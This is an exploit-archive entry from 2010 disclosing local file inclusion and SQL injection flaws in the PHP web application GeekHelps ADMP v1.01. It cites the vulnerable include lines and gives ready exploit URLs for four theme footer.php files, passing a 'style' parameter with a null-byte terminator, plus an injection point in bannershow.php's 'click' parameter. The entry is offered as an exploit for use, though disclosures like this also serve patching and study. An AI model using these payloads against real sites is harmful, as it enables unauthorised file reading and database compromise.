GeekHelps ADMP v1.01 Multiple Vulnerabilities

2010-03-13T00:00:00
ID 1337DAY-ID-9637
Type zdt
Reporter Itsecteam
Modified 2010-03-13T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================
GeekHelps ADMP v1.01 Multiple Vulnerabilities
=============================================

#########################local file include / sql injection#################
Author: ItSecTeam
 
download from:http://geekhelps.net/download.php
 
script:ADMP
 
remote:yes
 
dork::D
*********************lfi*******************
vul1:/path/themes/colorvoid/footer.php
include("./themes/$style/info.php"); ?> line 3
 
vuls:themes/default-green/footer.php
themes/default-orange/footer.php
themes/default/footer.php
 
include("./themes/$style/info.php"); ?> line 4
--------------------------------------------
 
xpl lfi:/path/themes/colorvoid/footer.php?style=[lfi]%00
xpl lfi:/path/themes/default-green/footer.php ?style=[lfi]%00
 
xpl lfi:/path/themes/default-orange/footer.php?style=[lfi]%00
xpl lfi:/path/themes/default/footer.php?style=[lfi]%00
 
xpl sql:/path/bannershow.php?click=' sql injection code
 
########################



#  0day.today [2018-04-08]  #